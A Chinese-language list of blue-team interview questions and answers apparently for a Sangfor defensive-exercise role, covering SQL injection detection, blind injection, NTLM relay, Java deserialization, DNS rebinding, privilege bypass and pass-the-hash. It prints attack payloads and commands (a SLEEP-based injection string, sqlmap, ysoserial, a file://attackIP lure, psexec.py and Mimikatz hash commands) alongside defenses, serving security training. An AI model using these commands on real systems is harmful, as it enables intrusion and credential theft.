深信服护网蓝初面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1. HTTPS流量分析（SQL注入识别）

题目：如何从HTTPS流量中识别SQL注入攻击？
答案：

解密方法：
1. 浏览器导出SSLKEYLOGFILE，Wireshark配置TLS会话密钥。
2. 解密后筛选HTTP流量，搜索UNION SELECT、SLEEP(等关键词。
特征：异常长的URL参数、重复的单引号或注释符（如--）。
工具：Wireshark、Burp Suite历史记录分析。

2. 时间盲注利用

题目：某SQL注入点无回显但未过滤SLEEP()，如何盲注获取数据库名长度？
答案：

Payload：
' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--
自动化工具：sqlmap -u "目标URL" --technique=T --time-sec=5 --dbms=mysql
原理：通过响应时间差异判断条件真假。

3. NTLM Relay攻击

题目：内网中如何利用NTLM Relay攻击获取域控权限？
答案：

步骤：
1. 使用Responder或Impacket监听SMB/LDAP请求。
2. 触发目标机器向攻击者发送NTLM认证（如钓鱼链接file://attackIP/恶意文件）。
3. 将NTLM Hash Relay到域控，执行命令（如添加用户）。
防御：启用SMB签名、限制NTLM使用。

4. 反序列化漏洞（RCE）

题目：某Java应用使用Apache Commons Collections 3.1，如何构造Payload实现RCE？
答案：

利用链：InvokerTransformer链触发Runtime执行命令。
工具：使用ysoserial生成Payload：
java -jar ysoserial.jar CommonsCollections5 "cmd.exe /c calc" > payload.bin
防御：升级依赖库、禁用危险反序列化类。

5. DNS Rebinding攻击

题目：解释DNS Rebinding攻击原理及防御方法。
答案：

原理：恶意网页通过短TTL域名绑定到内网IP，绕过同源策略攻击内网服务。
防御：
- 浏览器限制DNS解析缓存时间。
- 内网设备禁止响应外部DNS解析请求。
- 应用层校验Host头与请求来源IP。

6. 垂直越权漏洞

题目：某CMS管理后台通过/admin路径判断权限，普通用户请求此路径返回403。如何绕过？
答案：

方法1：伪造Cookie或JWT令牌提升权限（如修改role=admin）。
方法2：直接访问后台API接口（如/admin/addUser），绕过前端路由校验。
防御：服务端校验用户角色、RBAC权限控制。

7. 内网横向移动（Pass the Hash）

题目：已获取内网某主机的NTLM Hash，如何横向移动到另一台主机？
答案：

工具：
- psexec.py：python psexec.py -hashes :<NTLM_Hash> DOMAIN/user@目标IP
- Mimikatz：sekurlsa::pth /user:Administrator /domain:test.com /ntlm:HASH
防御：启用LSA保护、限制管理员账户登录范围。